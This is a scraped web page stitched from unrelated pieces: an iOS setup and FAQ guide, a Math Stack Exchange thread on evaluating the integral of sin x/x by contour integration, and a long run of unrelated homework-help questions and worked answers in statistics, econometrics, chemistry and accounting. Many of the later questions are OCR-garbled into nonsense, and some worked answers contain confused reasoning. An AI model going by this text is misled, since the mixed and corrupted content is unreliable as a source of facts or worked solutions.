// Submit the root frame.
SurfaceIdAllocator root_allocator(2);
SurfaceId root_surface_id = root_allocator.GenerateId();
factory.Create(root_surface_id);
factory.SubmitCompositorFrame(root_surface_id, std::move(root_frame),
SurfaceFactory::DrawCallback());
// Creates a child surface.
RenderPass* child_pass = nullptr;
std::unique_ptr<CompositorFrame> child_frame =
CreateCompositorFrame(child_rect, &child_pass);
// Add a solid quad in the child surface.
gfx::Rect child_solid_quad_rect(100, 100);
CreateSolidColorDrawQuad(child_pass,
gfx::Transform(1.0f, 0.0f, 0.0f, 50.0f,
0.0f, 1.0f, 0.0f, 50.0f,
0.0f, 0.0f, 1.0f, 0.0f,
0.0f, 0.0f, 0.0f, 1.0f),
root_rect,
child_solid_quad_rect);
// Submit the frame.
factory.Create(child_surface_id);
factory.SubmitCompositorFrame(child_surface_id, std::move(child_frame),
SurfaceFactory::DrawCallback());
TestCase tests[] = {
{
root_surface_id,
gfx::Point(10, 10),
root_surface_id,
gfx::Point(10, 10)
},
{
root_surface_id,
gfx::Point(99, 99),
root_surface_id,
gfx::Point(99, 99)
},
{
root_surface_id,
gfx::Point(100, 100),
child_surface_id,
gfx::Point(50, 50)
},
{
root_surface_id,
gfx::Point(199, 199),
child_surface_id,
gfx::Point(149, 149)
},
{
root_surface_id,
gfx::Point(200, 200),
root_surface_id,
gfx::Point(200, 200)
},
{
root_surface_id,
gfx::Point(290, 290),
root_surface_id,
gfx::Point(290, 290)
}
};
RunTests(nullptr, &manager, tests, arraysize(tests));
factory.Destroy(root_surface_id);
factory.Destroy(child_surface_id);
}
TEST(SurfaceHittestTest, Hittest_RenderPassDrawQuad) {
SurfaceManager manager;
EmptySurfaceFactoryClient client;
SurfaceFactory factory(&manager, &client);
// Create a CompostiorFrame with two RenderPasses.
gfx::Rect root_rect(300, 300);
RenderPassList render_pass_list;
// Create a child RenderPass.
RenderPassId child_render_pass_id(1, 3);
gfx::Transform transform_to_root_target(1.0f, 0.0f, 0.0f, 50.0f,
0.0f, 1.0f, 0.0f, 50.0f,
0.0f, 0.0f, 1.0f, 0.0f,
0.0f, 0.0f, 0.0f, 1.0f);
CreateRenderPass(child_render_pass_id,
gfx::Rect(100, 100),
transform_to_root_target,
&render_pass_list);
// Create the root RenderPass.
RenderPassId root_render_pass_id(1, 2);
CreateRenderPass(root_render_pass_id, root_rect, gfx::Transform(),
&render_pass_list);
RenderPass* root_pass = nullptr;
std::unique_ptr<CompositorFrame> root_frame =
CreateCompositorFrameWithRenderPassList(&render_pass_list);
root_pass = root_frame->delegated_frame_data->render_pass_list.back().get();
// Create a RenderPassDrawQuad.
gfx::Rect render_pass_quad_rect(100, 100);
CreateRenderPassDrawQuad(root_pass,
transform_to_root_target,
root_rect,
render_pass_quad_rect,
child_render_pass_id);
// Add a solid quad in the child render pass.
RenderPass* child_render_pass =
root_frame->delegated_frame_data->render_pass_list.front().get();
gfx::Rect child_solid_quad_rect(100, 100);
CreateSolidColorDrawQuad(child_render_pass,
gfx::Transform(),
gfx::Rect(100, 100),
child_solid_quad_rect);
// Submit the root frame.
SurfaceIdAllocator root_allocator(1);
SurfaceId root_surface_id = root_allocator.GenerateId();
factory.Create(root_surface_id);
factory.SubmitCompositorFrame(root_surface_id, std::move(root_frame),
SurfaceFactory::DrawCallback());
TestCase tests[] = {
// These tests just miss the RenderPassDrawQuad.
{
root_surface_id,
gfx::Point(49, 49),
root_surface_id,
gfx::Point(49, 49)
},
{
root_surface_id,
gfx::Point(150, 150),
root_surface_id,
gfx::Point(150, 150)
},
// These tests just hit the boundaries of the
// RenderPassDrawQuad.
{
root_surface_id,
gfx::Point(50, 50),
root_surface_id,
gfx::Point(50, 50)
},
{
root_surface_id,
gfx::Point(149, 149),
root_surface_id,
gfx::Point(149, 149)
},
// These tests fall somewhere in the center of the
// RenderPassDrawQuad.
{
root_surface_id,
gfx::Point(99, 99),
root_surface_id,
gfx::Point(99, 99)
},
{
root_surface_id,
gfx::Point(100, 100),
root_surface_id,
gfx::Point(100, 100)
}
};
RunTests(nullptr, &manager, tests, arraysize(tests));
factory.Destroy(root_surface_id);
}
TEST(SurfaceHittestTest, Hittest_SingleSurface_WithInsetsDelegate) {
SurfaceManager manager;
EmptySurfaceFactoryClient client;
SurfaceFactory factory(&manager, &client);
// Creates a root surface.
gfx::Rect root_rect(300, 300);
RenderPass* root_pass = nullptr;
std::unique_ptr<CompositorFrame> root_frame =
CreateCompositorFrame(root_rect, &root_pass);
// Add a reference to the child surface on the root surface.
SurfaceIdAllocator child_allocator(3);
SurfaceId child_surface_id = child_allocator.GenerateId();
gfx::Rect child_rect(200, 200);
CreateSurfaceDrawQuad(
root_pass,
gfx::Transform(1.0f, 0.0f, 0.0f, 50.0f,
0.0f, 1.0f, 0.0f, 50.0f,
0.0f, 0.0f, 1.0f, 0.0f,
0.0f, 0.0f, 0.0f, 1.0f),
root_rect, child_rect, child_surface_id);
// Submit the root frame.
SurfaceIdAllocator root_allocator(2);
SurfaceId root_surface_id = root_allocator.GenerateId();
factory.Create(root_surface_id);
factory.SubmitCompositorFrame(root_surface_id, std::move(root_frame),
SurfaceFactory::DrawCallback());
// Creates a child surface.
RenderPass* child_pass = nullptr;
std::unique_ptr<CompositorFrame> child_frame =
CreateCompositorFrame(child_rect, &child_pass);
// Add a solid quad in the child surface.
gfx::Rect child_solid_quad_rect(190, 190);
CreateSolidColorDrawQuad(
child_pass,
gfx::Transform(1.0f, 0.0f, 0.0f, 5.0f, 0.0f, 1.0f, 0.0f, 5.0f, 0.0f, 0.0f,
1.0f, 0.0f, 0.0f, 0.0f, 0.0f, 1.0f),
root_rect, child_solid_quad_rect);
// Submit the frame.
factory.Create(child_surface_id);
factory.SubmitCompositorFrame(child_surface_id, std::move(child_frame),
SurfaceFactory::DrawCallback());
TestCase test_expectations_without_insets[] = {
{root_surface_id, gfx::Point(55, 55), child_surface_id, gfx::Point(5, 5)},
{root_surface_id, gfx::Point(60, 60), child_surface_id,
gfx::Point(10, 10)},
{root_surface_id, gfx::Point(239, 239), child_surface_id,
gfx::Point(189, 189)},
{root_surface_id, gfx::Point(244, 244), child_surface_id,
gfx::Point(194, 194)},
{root_surface_id, gfx::Point(50, 50), root_surface_id,
gfx::Point(50, 50)},
{root_surface_id, gfx::Point(249, 249), root_surface_id,
gfx::Point(249, 249)},
};
TestSurfaceHittestDelegate empty_delegate;
RunTests(&empty_delegate, &manager, test_expectations_without_insets,
arraysize(test_expectations_without_insets));
// Verify that insets have NOT affected hit targeting.
EXPECT_EQ(0, empty_delegate.reject_target_overrides());
EXPECT_EQ(0, empty_delegate.accept_target_overrides());
TestCase test_expectations_with_reject_insets[] = {
// Point (55, 55) falls outside the child surface due to the insets
// introduced above.
{root_surface_id, gfx::Point(55, 55), root_surface_id,
gfx::Point(55, 55)},
// These two points still fall within the child surface.
{root_surface_id, gfx::Point(60, 60), child_surface_id,
gfx::Point(10, 10)},
{root_surface_id, gfx::Point(239, 239), child_surface_id,
gfx::Point(189, 189)},
// Point (244, 244) falls outside the child surface due to the insets
// introduced above.
{root_surface_id, gfx::Point(244, 244), root_surface_id,
gfx::Point(244, 244)},
// Next two points also fall within within the insets indroduced above.
{root_surface_id, gfx::Point(50, 50), root_surface_id,
gfx::Point(50, 50)},
{root_surface_id, gfx::Point(249, 249), root_surface_id,
gfx::Point(249, 249)},
};
TestSurfaceHittestDelegate reject_delegate;
reject_delegate.AddInsetsForRejectSurface(child_surface_id,
gfx::Insets(10, 10, 10, 10));
RunTests(&reject_delegate, &manager, test_expectations_with_reject_insets,
arraysize(test_expectations_with_reject_insets));
// Verify that insets have affected hit targeting.
EXPECT_EQ(4, reject_delegate.reject_target_overrides());
EXPECT_EQ(0, reject_delegate.accept_target_overrides());
TestCase test_expectations_with_accept_insets[] = {
{root_surface_id, gfx::Point(55, 55), child_surface_id, gfx::Point(5, 5)},
{root_surface_id, gfx::Point(60, 60), child_surface_id,
gfx::Point(10, 10)},
{root_surface_id, gfx::Point(239, 239), child_surface_id,
gfx::Point(189, 189)},
{root_surface_id, gfx::Point(244, 244), child_surface_id,
gfx::Point(194, 194)},
// Next two points fall within within the insets indroduced above.
{root_surface_id, gfx::Point(50, 50), child_surface_id, gfx::Point(0, 0)},
{root_surface_id, gfx::Point(249, 249), child_surface_id,
gfx::Point(199, 199)},
};
TestSurfaceHittestDelegate accept_delegate;
accept_delegate.AddInsetsForAcceptSurface(child_surface_id,
gfx::Insets(5, 5, 5, 5));
RunTests(&accept_delegate, &manager, test_expectations_with_accept_insets,
arraysize(test_expectations_with_accept_insets));
// Verify that insets have affected hit targeting.
EXPECT_EQ(0, accept_delegate.reject_target_overrides());
EXPECT_EQ(2, accept_delegate.accept_target_overrides());
factory.Destroy(root_surface_id);
}
} // namespace cc
|
__label__pos
| 0.991348 |
If at first you don't succeed, call it version 1.0
Contact Me
Sarvesh Kushwaha
Email : [email protected]
Total Pageviews
Powered by Blogger.
Google+ Followers
Friday, 20 January 2017
How you can limit a class to create only two instances ? #AspNetInterviewQuestionsSeries
How you can limit a class to create only two(n) instances ?
This is one of my favorite question in an interview.So before watching the answer take a minute and think how you can create a such class .. tough ? Ahan its very easy.
Answer : The basic idea is create a static property and increment that in constructor every time you are creating an object of that class. And throw an exception when that count is greater than two.
next question which can be ask is :
How you will decrement the count of that property when object is disposed ? Is it thread safe ?
Answer : you will use destructor for that and decrement the count there. Additionally to make it thread safe we can use LOCK keyword or INTERLOCKED keyword.
Below is the running example :
Code Text :
using System;
using System.Threading;
public class Program
{
public static void Main()
{
TwoInstance T1 = new TwoInstance();
TwoInstance T2 = new TwoInstance();
TwoInstance T3 = new TwoInstance(); // this will throw an error :)
}
public class TwoInstance
{
private static int countInstances=1;
//*if you want to get the count outside then make it
//public or create a static int method which will return this property*
public TwoInstance()
{
Console.WriteLine("Instance" + countInstances + "Created");
// countInstances++; *this is the basic thing which came
// into my mind at the time of iterview but this is not thread safe*
Interlocked.Increment(ref countInstances);
// thread safe way to increment the counter or we can use LOCK keyword
if(countInstances>=3)
{
throw new Exception("You cannot create more then two object");
}
}
~TwoInstance()
{
Interlocked.Decrement(ref countInstances);
}
}
}
Hope my this series will help somebody to get a job :) :) . Happy coding :)
Reactions:
1 comment:
|
__label__pos
| 0.993373 |
Jump to: navigation, search
Teneo/Hibernate/EMF Hibernate Integration Details
Setting the EPackage.Registry used by Teneo
During the mapping generation and at runtime Teneo accesses the EPackage.Registry to resolve references to EClassifier. As a default Teneo will use the global EPackage.Registry. It is possible to configure Teneo to use another EPackage.Registry. This can be done through the org.eclipse.emf.teneo.PackageRegistryProvider. This class is a singleton. You can put in your own implementation by calling the static setInstance method in this class or you can set the EPackage.Registry used by this class by doing this:
PackageRegistryProvider.getInstance().setPackageRegistry(myPackageRegistry);
Foreign-Key Constraint: deleting parent in parent-child relation (inverse=true)
For a containment list relation Teneo will generate a hibernate one-to-many mapping with cascade all, delete-orphan. Hibernate will create a foreign-key in the database from the child to the parent in the relation. When the parent is deleted then hibernate will first nullify the foreign-key column in the child before removing the child. This will not work if the foreign-key column is non-nullable.
See here for more information: hibernate forum, EMF Bugzilla.
The hibernate forum gives as a solution to set inverse=true on the one-to-many. However, inverse="true" is normally not set by Teneo because it can interfere with the EMF bidirectional relation handling.
To solve this the following solution is offered: to set inverse="true" on a relation set the mappedBy attribute of the OneToMany or ManyToMany annotations: @OneToMany(mappedBy="MyOtherSideProp", indexed=false). Note that inverse=true only works on non-indexed collections therefore indexed=false is also required.
How to do composite-ids with many-to-one
In many traditional database schemas, containment parent-child relations are modelled by defining a multi-field primary key for the child: the primary key of the child then consists of the primary key of the parent (as a foreign key) plus an additional field to make the child unique. For example an order-orderline model: the order has as a primary key an order number, the primary key of the child is then order number and order line number. Often When mapping to an existing database this same structure has to be defined in the model using jpa annotations.
This section explains in short what needs to be done to let Teneo handle this correctly.
The following example model is used in this description: xsd + ecore. This model consists of two main types: Claim and ClaimLine. Claim has a primary key of two fields in the db. ClaimLine is contained in Claim and has a primary key consisting of the two fields of Claim and one additional field. Claim and ClaimLine have a bidirectional one-to-many/many-to-one relation.
To handle this correctly the following steps need to be taken:
For each class with a primary key with multiple fields create a separate key type. See ClaimCompositeKey and ClaimLineCompositeKey in the example model. In addition see here, and here for some specific requirements for the key class.
The key type has eattributes/ereferences corresponding to the fields of the primary key. In the example the child type has a many-to-one to the parent, this many-to-one is part of the primary key of the child so therefore it should also be added to the key type of the child (see ClaimLineCompositeKey).
The many-to-one ereference from the child to the parent needs to be annotated with @Transient (see the xsd) otherwise Hibernate will throw a duplicate column exception.
For each main type with a composite id there needs to be an ereference from the main type to the key type. This ereference needs to be annotated with @EmbeddedId.
Using the resulting model the code can be generated and Teneo will map the structure correctly.
As a last step: in the generated java code it is possible to automatically populate the composite key object of the child when adding the child to the parent. Using the example: when a ClaimLine is added to the claimLine collection of Claim then the Claim feature in the ClaimLine ClaimLineCompositeKey also needs to be set. EMF will automatically generate stubs were to this. In this example in ClaimLine there is a basicSetClaim method were the relevant line can be added. Note that javadoc @generated has to be changed to @generated NOT otherwise this change will be overwritten when the code is regenerated.
/**
* @generated NOT
*/
public NotificationChain basicSetClaim(Claim newClaim, NotificationChain msgs) {
msgs = eBasicSetContainer((InternalEObject) newClaim, ClaimPackage.CLAIM_LINE__CLAIM, msgs);
getClaimLineCompositeKey().setClaim(newClaim); // this is line sets the Claim in the composite key
return msgs;
}
Manual Generation of OR Mapping
Standard Teneo will automatically map the model to Hibernate when a datastore is initialized. However, it can sometimes make sense to manually adapt the mapping or use a specific mapping file. For this purpose Teneo also allows you to manually generate the mapping file. To do this right click on one or more .ecore files and choose the relevant option in the Teneo submenu.
Note: the generation of the hibernate.hbm.xml will only work if the org.eclipse.emf.teneo.hibernate.runtime and the plugin with the hibernate libraries plugin has been added to the dependencies of the projects of the selected .ecore files.
Org.eclipse.emf.teneo.gen or.gif
The hibernate.hbm.xml is created in the folder of the selected .ecore file. To direct Teneo to use this mapping file you need to do the following:
Copy the hibernate.hbm.xml to the generated EPackage source tree and let it be copied to the output directory/destination when building.
Pass the following option: PersistenceOptions.USE_MAPPING_FILE with the value "true" to the HbDataStore.
Note that with manual generation of the mapping, Teneo is not able to find the java instance class names (unless the ecore contains the java instance classnames). This means that when doing manual generation that cglib proxying is disabled. To generate a mapping with cglib proxying enabled either perform the mapping programmatically (see here) or use an ecore with java instance class names.
Classloader
Teneo performs explicit classloading in specific locations. It is possible to set the classloader which is being user by Teneo. This can be done through the org.eclipse.emf.teneo.ClassLoaderResolver class. In this class you can register a org.eclipse.emf.teneo.classloader.ClassLoaderStrategy. The registered ClassLoaderStrategy is used by Teneo to explicitly load classes.
Requirements on EObjects: InternalEObject
The EMF Hibernate persistency layer only requires that the persisted objects implement the org.eclipse.emf.ecore.InternalEObject interface.
Relational Validation and EObject persistency
When an object is made persistent by session.save() then at that moment also constraints, such as nullable fields, are checked. So when calling the session.save method the passed EObject should be valid.
Automatic creation of tables/Database Schema
The EMF Hibernate persistency layer will automatically update the database schema when a new SessionFactory is registered. The Hibernate class org.hibernate.tool.hbm2ddl.SchemaUpdate class is used for this purpose.
An option can be used to control if the database schema should be updated when a new HbDataStore is created.
Escaping of table and column names
Teneo will escape table and column names of primitive types. Escaping is done by surrounding the name with backtics (`). The escape character can be changed or disabled by setting the PersistenceOptions.SQL_NAME_ESCAPE_CHARACTER option (see here).
Note that:
• Join table names are not escaped: Hibernate will in some cases automatically create a table to store the contents of a collection, for example the contents of a list with primitive types. Hibernate will not automatically escape this name. To escape such a join table you need to add a JoinTable annotation with an escaped name or a non-keyword name.
• Teneo will not escape column names of manually specified Column annotations
Querying using eclass names, class names or interface names
• Teneo supports hql queries which use eclass (entity) names and class and interface names. The last two are supported when the option ALSO_MAP_AS_CLASS is set to true (which is the default).
It is possible that the entitymanager.getReference/session.get methods won't work with interface classes, if so please look here.
Lazy loading/fetching, Proxy
Teneo supports Hibernate cglib proxying. To enable this the option SET_PROXY has to be set to true or the @Proxy annotation has to be set on the eclass.
If an entity is proxyable then the many-to-one/one-to-one relations to this entity will be set to lazy=proxy.
ELists are lazily loaded.
Automatic creation of TypeDef for EDataType
When you define an EDataType in your EPackage Teneo will automatically map this EDataType to a TypeDef if the instanceClass of the EDataType can not be handled by native Hibernate.
The TypeDef will make use of the UserType org.eclipse.emf.teneo.hibernate.mapping.DefaultToStringUserType. This user type persists the value in a single varchar column. This means that the EDataType needs to be convertable from/to a String. EMF will generate the appropriate methods in the generated EFactory for your EPackage. Many times EMF will throw an UnsupportedOperationException. You need to manually change this code to convert your type correctly from and to a String.
Client-Server scenario: requires explicitly modelled id and version properties
When Teneo detects that a certain type does not have an id or version annotated property then it will add these automatically (see next point). The synthetic id and version are hidden for the developer. However, the synthetic id and version will not work when objects are (de)serialized for example in a client-server situation. In this case you need to explicitly model an id and a version property and annotate them as such using jpa annotations.
Default ID Feature Name
When Teneo searches for the id-feature of an eclass it searches for an efeature with the @id annotation. If no efeature with such an annotation can be found Teneo will search for a feature with the name specified in the PersistenceOptions.DEFAULT_ID_FEATURE_NAME option (see persistence options here). A possible use to set this option to "id" and add a feature with the name "id" to each eclass. This "id" feature is then automatically used as the persistence identifier by Teneo.
@Version as timestamp
An EAttribute is tagged as the Version property by annotating it with the @Version annotation. If the EAttribute is a date time then this does not work directly as EMF uses the XMLGregorianCalendar as a default java type for these XML Schema types.
For versions of Teneo build after 23th May 2009 you just have to set the instance class of the EAttribute (its EDataType) to java.util.Date or one of its subclasses (so that the generated source code uses that class).
For earlier versions you also have to set the PersistenceOptions.USER_XSDDATETIME_TYPE to timestamp or set the @Temporal(TIMESTAMP) annotation on the EAttribute.
Synthetic ID and Version properties
When Teneo detects that a certain type does not have an id or version annotated property then it will add these automatically. The synthetic id and version are hidden for the developer. You can retrieve the hidden synthetic id or version through the class org.eclipse.emf.teneo.hibernate.mapping.identifier.IdentifierCacheHandler. You can prevent the automatic adding of a synthetic version property by setting the PersistenceOptions.ALWAYS_VERSION to false, see here. If this property is false then only efeatures with a version annotation are translated into a version mapping.
Synthetic id and version use object equality (==), this means that synthetic id and version will not work if objects are transferred to other systems and back (for example in case of client-server communication).
Move an EObject between EContainers or support cut and paste in the EMF editor
In the standard approach it is not possible to move an EObject from one containment relation to another containment relation. A move between containment relations corresponds to a cut and paste in the EMF editor. The reason is that Teneo will specify an orphan-delete cascade for a containment relation. This has as a consequence that Hibernate will throw an exception (deleted object would be re-saved by cascade, remove deleted object from associations) when you move an EObject from its container to another container. See here for a description.
Solution: as a solution you can prevent the orphan-delete from being set as the cascade style, by specifying an annotation on the relevant EReference features or by setting the global runtime property PersistenceOptions.SET_CASCADE_ALL_ON_CONTAINMENT to false (see here). As an example of the first approach:
<xsd:element maxOccurs="unbounded" minOccurs="0" name="writers" type="lib:Writer">
<xsd:annotation>
<xsd:appinfo source="teneo.jpa">@OneToMany(cascade={MERGE,PERSIST,REFRESH,REMOVE})</xsd:appinfo>
</xsd:annotation>
</xsd:element>
This annotation means that cascading deletes are still enforced but a child (the Writer) can exist without its parent (the Library).
When this annotation is used in the context of a Hibernate Resource then when an EObject is removed from its container then it will also be removed from the resource and from the database. However, when you set this annotation and not work with Hibernate Resources then the removed EObject is not removed from the database and will be present without a container!
Validation
When storing and retrieving EMF objects from a Hibernate store it is not required to work with a EMF type Resource. However the standard EMF validator checks if every EObject is present in an EMF resource and that all referenced EObjects are in the same resource. So, if this standard validator is used unnecessary errors are thrown.
To prevent this situation you can register your own validator which does not perform this resource check. See the example here below.
Validators are registered using a call to put method of the EValidator.Registry.INSTANCE object.
public class MyValidator extends EObjectValidator
{
/**
* Overrides the method from the superclass to prevent this check because it
* is not required in the context of a hibernate store. Note that this assumes that
* an object and its references are all stored in the same hibernate database.
*/
public boolean validate_EveryReferenceIsContained(EObject eObject, DiagnosticChain diagnostics, Map context)
{
return true;
}
}
Default cacheprovider is org.hibernate.cache.HashtableCacheProvider
Default cacheprovider has been set to org.hibernate.cache.HashtableCacheProvider because of ehcache issues which occur when using ehcache with the default values.
Encountered error message was: Attempt to restart an already started EhCacheProvider. Use sessionFactory.close() between repeated calls to buildSessionFactory. Consider using net.sf.ehcache.hibernate.SingletonEhCacheProvider. Error from ehcache was: Cannot parseConfiguration CacheManager. Attempt to create a new instance of CacheManager using the diskStorePath "/tmp" which is already used by an existing CacheManager. The source of the configuration was classpath.
The HashtableCacheProvider is not for production use. You can override this default setting by setting the hibernate.cache.provider_class property with the cache provider class you want to use.
Convert e_container_feature_id to e_container_feature_name
From the 1.0.4 build of mid-March 2009 the econtainer relations are stored differently. Instead of the feature id, the feature name is stored. The reason for the change is that the feature id is not stable when the model changes. However, this means that current users when upgrading need to convert the feature id to the featurename approach. The conversion consists of the following steps:
1. set the ECONTAINER_FEATURE_PERSISTENCE_STRATEGY option (see here) to the value "both" and let Teneo update the database schema (this adds an econtainer_feature_name column to each table).
2. write a program which iterates through all objects in all tables and generates an update sql statement to update the econtainer_feature_name column. An example program is shown below.
3. use the generated sql to update the database
4. set the ECONTAINER_FEATURE_PERSISTENCE_STRATEGY option to the value "featurename". The conversion is finished and the econtainer_feature_id column is not used anymore.
Example program for iterating through all EClasses and generating a SQL update statement (note the eObject.getId() call which is just a fake, you need to use your own code to get the id of an object):
for (Iterator<?> it = dataStore.getClassMappings(); it.hasNext();) {
final Object opc = it.next();
final PersistentClass pc = (PersistentClass) opc;
final Session s = dataStore.getSessionFactory().openSession();
s.beginTransaction();
final List<?> list = s.createQuery("from " + pc.getEntityName())
.list();
for (Object o : list) {
final EObject eObject = (EObject) o;
if (eObject.eContainer() != null) {
final EObject container = eObject.eContainer();
final String featureNameValue = EContainerFeatureIDUserType
.convertEContainerRelationToString(container
.eClass(), eObject.eContainmentFeature());
System.err.println("update " + pc.getTable().getName()
+ " set e_container_feature_name='"
+ featureNameValue + "' where id=" + eObject.getId());
}
}
s.getTransaction().commit();
}
Indexes on EStructuralFeatures, Discriminator and columns
You can define indexes by using the @Index annotation (hibernate specific) on an EStructuralFeature. The value of the index can be a comma separated list of index names.
In addition the Column annotation has an additional index attribute which can be used for the same purpose.
The DiscriminatorColumn annotation has a column attribute which can contain a full @Column annotation with an index.
@DiscriminatorColumn(name="DISCRIMINATOR", discriminatorType=STRING, column=@Column(index="discrIndex,ohterindex", length=120))
Implementing your own (EMF)Tuplizer
Sometimes you need to implement your own Hibernate tuplizer to add specific Hibernate behavior. You can do this but you have to extend the Teneo EMF Tuplizer to ensure that specific EMF integrations will still work. Here are the steps to take:
• implement your own Tuplizer extending the EMFTuplizer
• subclass the HbContext class and override the getEMFTuplizer method returning your own Tuplizer class
• tell Teneo to use your custom HbContext class by setting this as an extension (before calling dataStore.initialize()):
dataStore.getExtensionManager().registerExtension(HbContext.class.getName(), YourCustomHbContext.class.getName());
|
__label__pos
| 0.617679 |
Part 2 Lesson 9 wiki
(Kevin Bird) #365
I’m working on the defaultdict thing and I get what it is doing now that I’m breaking everything down, I just have a question on lambda (I know, not technically related to defaultdict). Is there a way to put lambda:x+1 so what I’m wanting x to be is I want that to be whatever the key is. so
trn_anno = collections.defaultdict(lambda:x+1)
would look like this:
trn_anno[12] would give you 13 is that a thing you can do with lambda?
I’ve tried to google it, but I haven’t seen anything that does this.
(Hiromi Suenaga) #366
It is possible to create a lambda function that increments the input by 1 :
my_lambda = lambda x: x + 1
my_lambda(12)
I am not sure the use case you have in your mind, but you probably don’t want to put that in defaultdict. The reason is, if say trn_anno[12] doesn’t exist, it calls the lambda function with no argument and the call will fail because it didn’t pass the required parameter. I might be able to help more if you could explain what you are trying to do. Sorry :frowning:
(Kevin Bird) #367
well, my thought is that we are using this to say what the default is so my thought was that if they key had something to do with the value. so let’s say I want to make a lookup table with a list of the squares and I only want to calculate them once and then I want to use the dictionary. So my defaultdict function would be: squares = collections.defaultdict(lambda x:x**2). The reason I’m thinking this could be useful is in embedded systems when you don’t have much space, you could still have the speed of a lookup table without having to store the whole table. So when I use this defaultdict, I now want to call squares[5] which should give me 25, but I don’t know how to pass the key through if that makes sense.
(Sarada Lee) #368
Done. Now, I can see the gamma value in relation to the loss.
(Hiromi Suenaga) #369
Sounds like you are trying to implement a cache mechanism. I am not familiar with what kind of approaches people use in Python though :confused:
(Kevin Bird) #370
No problem. I don’t think it’s important for this anyways.
(Phani Srikanth) #371
I think what you’re for looking is available here. I quickly tested it and it seems to work.
(Mike Kunz ) #372
Hiromi- thanks for putting this together!!!
(Hiromi Suenaga) #373
Sure :slight_smile: It’s just some scribble I did a while ago.
(Emil) #374
There is a LRU cache decorator in the standard library.
(Chloe Sultan) #375
Dovetailing with @daveluo 's awesome whiteboarding of SSD_MultiHead (thank you for that!) - I also found it really helpful to spend time diagramming / visualizing the forward line-by-line. Attaching screenshot here in case helpful for anyone else…
On documenting the shapes/size of arrays/tensors being passed to methods of FastAI
(Vibhutha Kumarage) #376
Hey Guys,
For those who want a quick recap on Cross-Entropy watch this youtube video
(Jeremy Howard) #377
I’d love to show that in class (with credit of course!) - would that be OK? If so, would you prefer me to credit your forum user name, or your real name (if the latter, please tell me your real name)?
(Vibhutha Kumarage) #378
Hey everyone…
I faced a problem when I’m reading the SSD paper :sweat: … Can anyone tell me how Detections: 8732 per class is calculated in the SSD network?.. :slightly_smiling_face:
Thank you… :slight_smile:
(Jeremy Howard) #379
Sure! But you try first :slight_smile: How many detections do you calculate based on what you’ve read? Take us through your thinking and we’ll figure this out together.
(Aleksandr) #380
Hey everyone.
I think, I found a little bug in pascal-multi.ipynb.
It is a peace of code in the very beginning when we predict multiple classes and plot pictures with one or more predicted labels:
for i,ax in enumerate(axes.flat):
ima=md.val_ds.denorm(x)[i]
ya = np.nonzero(y[i]>0.4)[0]
b = '\n'.join(md.classes[o] for o in ya)
ax = show_img(ima, ax=ax)
draw_text(ax, (0,0), b)
plt.tight_layout()
I found, that ya = np.nonzero(y[i]>0.4)[0] is one object and the code always plots only one class instead of several.
So I removed [0] and added int(o) (to convert from torch.cuda.LongTensor dtype) in b definition. Like this
for i,ax in enumerate(axes.flat):
ima=md.val_ds.denorm(x)[i]
ya = np.nonzero(y[i]>0.4)
b = '\n'.join(md.classes[int(o)] for o in ya)
ax = show_img(ima, ax=ax)
draw_text(ax, (0,0), b)
Now it works well.
Should I create a pull request for this?
(Pavel Surmenok) #381
What is the best way to deal with images with a different aspect ratio? For example, I have a dataset with images of size 375x1242. Width is 3.3 times larger than height. Resizing the images to a square shape expected by pretrained Imagenet models will lead to unrealistically looking images.
Is there any way to leverage pretrained image classification models in this case, or it’s better to create SSD model with an appropriate aspect ratio and train it from scratch?
(Santhanam Elumalai) #382
Good list of Criterions for better understanding https://github.com/torch/nn/blob/master/doc/criterion.md
(Francisco Ingham) #383
This is great! Just as clarifying statement, if someone had the same doubt as me. If you are wondering why do we have an extra output for background (20 + 1), refer to this:
(Bart Fish) #384
I was never able to get my verification loss much below 10, but changing the bias from -4 to -3 worked much better in terms of the suppression of false positives.
|
__label__pos
| 0.717347 |
Range: commonAncestorContainer property
The Range.commonAncestorContainer read-only property returns the deepest — or furthest down the document tree — Node that contains both boundary points of the Range. This means that if Range.startContainer and Range.endContainer both refer to the same node, this node is the common ancestor container.
Since a Range need not be continuous, and may also partially select nodes, this is a convenient way to find a Node which encloses a Range.
This property is read-only. To change the ancestor container of a Node, consider using the various methods available to set the start and end positions of the Range, such as Range.setStart() and Range.setEnd().
Value
A Node object.
Examples
In this example, we create an event listener to handle pointerup events on a list. The listener gets the common ancestors of each piece of selected text and triggers an animation to highlight them.
HTML
html
<ul>
<li>
Strings
<ul>
<li>Cello</li>
<li>
Violin
<ul>
<li>First Chair</li>
<li>Second Chair</li>
</ul>
</li>
</ul>
</li>
<li>
Woodwinds
<ul>
<li>Clarinet</li>
<li>Oboe</li>
</ul>
</li>
</ul>
CSS
The .highlight class created below uses a set of CSS @keyframes to animate a fading outline.
css
.highlight {
animation: highlight linear 1s;
}
@keyframes highlight {
from {
outline: 1px solid #f00f;
}
to {
outline: 1px solid #f000;
}
}
JavaScript
js
document.addEventListener("pointerup", (e) => {
const selection = window.getSelection();
if (selection.type === "Range") {
for (let i = 0; i < selection.rangeCount; i++) {
const range = selection.getRangeAt(i);
playAnimation(range.commonAncestorContainer);
}
}
});
function playAnimation(el) {
if (el.nodeType === Node.TEXT_NODE) {
el = el.parentNode;
}
el.classList.remove("highlight");
setTimeout(() => {
el.classList.add("highlight");
}, 0);
}
Result
Specifications
Specification
DOM Standard
# ref-for-dom-range-commonancestorcontainer②
Browser compatibility
BCD tables only load in the browser
See also
|
__label__pos
| 0.998439 |
A Detailed Guide on iOS, Only iPhone Lovers are allowed to read !
0
253
A Detailed Guide on iOS
Whether you’re brand new to iOS or want to brush up on your skills, you’ll find all the information you need here.
All of iOS’s features and functions might be intimidating to a novice user. This guide will help you feel comfortable using your new iOS device, whether it’s an iPhone, iPad, or iPod touch.
We’ll start with the basics of navigating, setting, and personalizing your device, and work our way up to more advanced features like Siri and iCloud. Let’s dive in right now.
Before we begin let us tell you about a brief history of the Apple operating system iOS and how it changed the internet forever. So iOS is Developed by Apple. It is specifically used on its mobile devices, iOS debuted alongside the initial iPhone in 2007. Its original moniker was “iPhone OS,” and it was developed just for Apple’s mobile device. Still, Apple rebranded the OS as “iOS” to encompass its larger product range, which now includes the iPad and iPod Touch.
With each successive iteration, iOS has seen major transformations and improvements. The introduction of the App Store in 2008, which allowed users to download and install third-party apps; the introduction of Siri in 2011, a voice-controlled virtual assistant; and the launch of iOS 7 in 2013, which brought a major visual redesign and introduced new features like Control Center, are all major milestones in the history of iOS.
